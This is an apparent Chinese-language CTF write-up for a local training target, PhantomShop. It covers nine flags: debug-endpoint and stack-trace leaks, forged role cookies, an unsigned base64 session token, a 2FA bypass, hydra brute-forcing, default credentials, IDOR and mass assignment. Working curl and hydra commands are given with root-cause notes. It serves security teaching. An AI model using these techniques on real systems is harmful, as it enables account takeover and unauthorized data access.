7 min read

PhantomShop (PhantomRange) writeup 1 — Recon × 資訊洩漏 × 認證崩壞

PhantomShop (PhantomRange) writeup 1 — Recon × 資訊洩漏 × 認證崩壞

題目資訊

  • 平台:自架靶機(GitHub: phantom-offensive/PhantomRange
  • 應用:PhantomShop — 一個「正常運作」的時尚電商,內建 50 顆旗、18 個漏洞類別、10,400 分
  • 技術棧:Go(標準庫 net/http + SQLite,純 Go driver)
  • 難度:Easy ~ Hard 混合
  • 啟動docker compose up -dhttp://localhost:9000
  • 交旗POST /flag,記分板 /scoreboard,內建漏洞清單 /vulns

這篇收 9 顆旗:資訊洩漏 ×2、IDOR ×2、認證 ×5核心主題,只有一句話——這台把「你是誰」整個交給 client 決定

Step 0:指紋辨識

whatweb -v http://localhost:9000
curl -sI http://localhost:9000

兩個關鍵情報:

① Server header 乾淨到不行,沒有 X-Powered-By、沒有框架特徵 → 純 Go net/http,實務意義:後面目錄爆破不要浪費在 .php/.asp,Go 路由多半是無副檔名或 .json

② CSP 是擺設

Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'

* + unsafe-inline + unsafe-eval = 等於沒設,這一行直接預告了 XSS 那批幾乎無阻力

Step 1:目錄與 API 枚舉

# 主目錄
feroxbuster -u http://localhost:9000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -C 404 -t 50 -d 2

# API 專用字典(README 明講:有些旗在 API 不在頁面)
feroxbuster -u http://localhost:9000/api \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
  -H "Cookie: user_id=5; username=kevin; role=admin" -C 404 -t 50

Recon 踩雷筆記/order/<任何字串> 全部回 200、大小都差不多 → 這是 catch-all 路由/order/{id} 不驗證存在與否),不是幾百個真端點,別被 feroxbuster 的數字嚇到,先看回應大小分群、把噪音濾掉。

去重後的真攻擊面:

端點 訊號
/debug 超小回應 → 資訊洩漏
/api/error stack trace
/api/session 認證機制入口
/api/user/ /api/order/ IDOR
/admin /admin/invoice 權限 + 命令注入
/api/export /api/import 路徑穿越 / XXE

Flag 1 — info_debug_endpoint(Info Disclosure, Easy, 100)

第一刀最白:

curl -s http://localhost:9000/debug
{"admin_key":"phantom-admin-2026","db_path":"data/shop.db","debug":true,
 "env":"production","flag":"FLAG{Redacted}","go_version":"go1.24",
 "server":"PhantomShop v2.0"}
FLAG{Redacted}

這顆的價值不只一面旗——它洩漏了 admin_keydb_path,是後續一連串攻擊的情報基底。

根因debug: true 被留在 env: production,診斷端點該只在開發環境開,卻上了線,真實世界對照:暴露的 /actuator/debug.env

Flag 2 — info_error_stack(Info Disclosure, Easy, 100)

一開始我猜錯方向:丟壞參數想逼它噴例外——

curl -s "http://localhost:9000/product/abc"   # → 404,乾淨降級
curl -s "http://localhost:9000/product/-1"     # → 404

這台對爛輸入是優雅降級,不會噴 stack,真正的觸發點是專屬端點:

curl -s http://localhost:9000/api/error
Internal Server Error
goroutine 1 [running]:
    /app/internal/shop/pages.go:342 +0x1a4
    /usr/local/go/src/net/http/server.go:2136 +0x29
🚩 FLAG{Redacted}
FLAG{Redacted}

bonus 情報:stack trace 洩漏了應用的絕對路徑 /app/internal/shop/ 與原始檔名 pages.go,對後面找路徑穿越目標很有用。

教訓:不要預設「丟壞輸入 → 一定噴 stack」,先摸清楚 app 的錯誤處理風格,再決定觸發手法。

攔一個平常的 /cart/add 請求,注意到 session 是三個裸 cookie

user_id=5; username=kevin; role=user

role 放在 cookie 裡 = 讓瀏覽器自己宣告自己是誰,改一個字:

curl -s http://localhost:9000/admin -b 'user_id=5; username=kevin; role=admin' \
  | grep -iE 'flag|<h2>'

從「擋你」瞬間變「放你進」,這條 broken access control 是整局的樞紐,admin panel 上掛著的獎勵旗全部一次可見。

Flag 3 — auth_jwt(Auth, Medium, 200)

這顆卡最久,因為名字誤導,我一度想爆 HS256 密鑰、跑 hashcat——全走錯棚。真相在 /api/session

curl -s http://localhost:9000/api/session
{"hint":"Set a 'session' cookie with base64-encoded JSON: {\"user\":\"admin\",\"role\":\"admin\"}"}

所謂「weak JWT secret」根本是假 JWT——它是 base64 的 JSON,完全沒有簽章,偽造超簡單:

TOKEN=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0)
curl -s http://localhost:9000/api/session -b "session=$TOKEN"
FLAG{Redacted}

教訓:漏洞名稱是靶機作者給的「劇情」,不是技術事實,看到 jwt 別急著開 jwt_tool——先看那串 token 到底長什麼樣,三段點分隔才是 JWT;base64 JSON 只是「編碼」不是「加密」,更沒有「簽章」。

Flag 4 — auth_2fa(Auth, Hard, 300)

2FA 那顆的旗同樣掛在 admin panel,正牌解的重點在 hint:二階驗證是 server 端強制、還是只是 client 端假設? 這台是後者——2FA 狀態靠 cookie 標記,沒有 server 端強制檢查,直接略過驗證步驟即可。

FLAG{Redacted}

根因:認證步驟的狀態機建在 client 可控的資料上,真實世界最常見的 2FA bypass 就是這種——/verify 過了才該發 session,但實作卻在 /login 就發、/verify 只是「建議」。

Flag 5 — auth_bruteforce(Auth, Easy, 100)

登入端點沒有任何速率限制或鎖定:

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  localhost -s 9000 http-post-form \
  "/login:username=^USER^&password=^PASS^:invalid"

一直試、試到爛都不會被擋。

FLAG{Redacted}

根因:沒有 rate limiting、沒有 account lockout、沒有 CAPTCHA,這顆是「缺防護」型漏洞,不需要巧勁,只需要證明「攻擊者可以無限嘗試」。

Flag 6 — auth_default_creds(Auth, Easy, 100)

/debug 早就洩漏過線索,admin 的密碼從沒改過:

curl -s -i -X POST http://localhost:9000/login \
  -d 'username=admin&password=admin123' | grep -iE 'role=admin|location'

admin / admin123 直接登入。

FLAG{Redacted}

根因:安裝後的預設帳密留在生產環境,這在真實滲透裡永遠值得先試一輪。

Flag 7 — auth_pass_in_response(Auth, Easy, 100)

使用者查詢 API 把整列欄位原封吐回來:

curl -s http://localhost:9000/api/user/1 | python3 -m json.tool

回應裡夾著 password 欄位——前端可能不顯示,但資料早就送到 client 了。

FLAG{Redacted}

根因:後端偷懶 json.Encode(user),DB 有什麼欄位就吐什麼,沒有做回應白名單(DTO),對應 OWASP API3: Excessive Data Exposure(現稱 Broken Object Property Level Authorization),這是 API 滲透最好撿的一類——翻 JSON 就有。

Flag 8 — idor_profile(IDOR, Easy, 100)

同一個 /api/user/{id} 沒有任何授權檢查,任意 id 撈任意人:

for i in 1 2 3 4 5; do curl -s "http://localhost:9000/api/user/$i"; echo; done
{"email":"[email protected]","flag":"FLAG{Redacted}","id":1,"role":"admin","username":"admin"}
{"email":"[email protected]","id":2,"role":"user","username":"john"}
...
FLAG{Redacted}

根因:物件層級授權缺失(BOLA / OWASP API1),API 只認「有沒有帶 cookie」,不認「這筆資料是不是你的」。

Flag 9 — idor_mass_assign(IDOR, Hard, 300)

Profile 更新 API 盲目信任你送進來的所有欄位

curl -s -X POST http://localhost:9000/api/user/update \
  -H 'Content-Type: application/json' \
  -d '{"id":5,"role":"admin"}'
FLAG{Redacted}

根因:Mass Assignment,後端 json.Unmarshal(body, &user); db.Save(&user) 沒有欄位白名單,於是你多送的 role 也被寫進 DB → 永久提權

跟 role=admin cookie 的差別(容易混):

  • cookie 竄改 → 改的是「當前 session 宣稱的身分」,關瀏覽器就沒了,屬認證問題。
  • mass assignment → 把 role:admin 寫進資料庫,永久生效,屬授權/資料綁定問題。

真實案例:2012 年 GitHub 被人用 Rails mass assignment 把公鑰塞進官方 repo 管理員帳號,Rails 之後強制 strong parameters 就是為了堵這個。

小結

貫穿主題:這台的認證/授權設計,把「你是誰」「你能做什麼」全放在 client 可控的地方——cookie、base64 token、盲信的 JSON 欄位,真實世界的 broken access control 常年霸榜 OWASP Top 10 第一,就是這些「相信 client」的小決定累積出來的。

本文為自架訓練靶機的教學紀錄,所有操作皆在本機隔離環境進行。